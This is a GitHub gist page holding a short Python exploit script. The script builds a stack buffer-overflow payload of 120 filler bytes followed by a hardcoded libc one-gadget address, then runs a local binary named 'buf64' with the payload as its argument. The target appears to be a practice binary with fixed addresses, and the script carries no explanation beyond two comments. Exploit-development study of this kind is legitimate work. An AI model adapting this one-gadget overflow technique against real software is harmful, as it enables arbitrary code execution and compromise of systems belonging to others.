Skip to content

Instantly share code, notes, and snippets.

@ShivamShrirao
Created March 7, 2018 19:58
Show Gist options
  • Save ShivamShrirao/f63934ac8c2c191eb076a93d244a37cb to your computer and use it in GitHub Desktop.
Save ShivamShrirao/f63934ac8c2c191eb076a93d244a37cb to your computer and use it in GitHub Desktop.
from os import system
from struct import pack
junk='A'*120
libc_base=0x00007ffff79f5000
onegadget=pack("Q",libc_base+0xfccde) #gadget address
payload = junk + onegadget
with open("tmp","w") as f:
f.write(payload)
system("./buf64 `cat tmp`") #because of null bytes
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment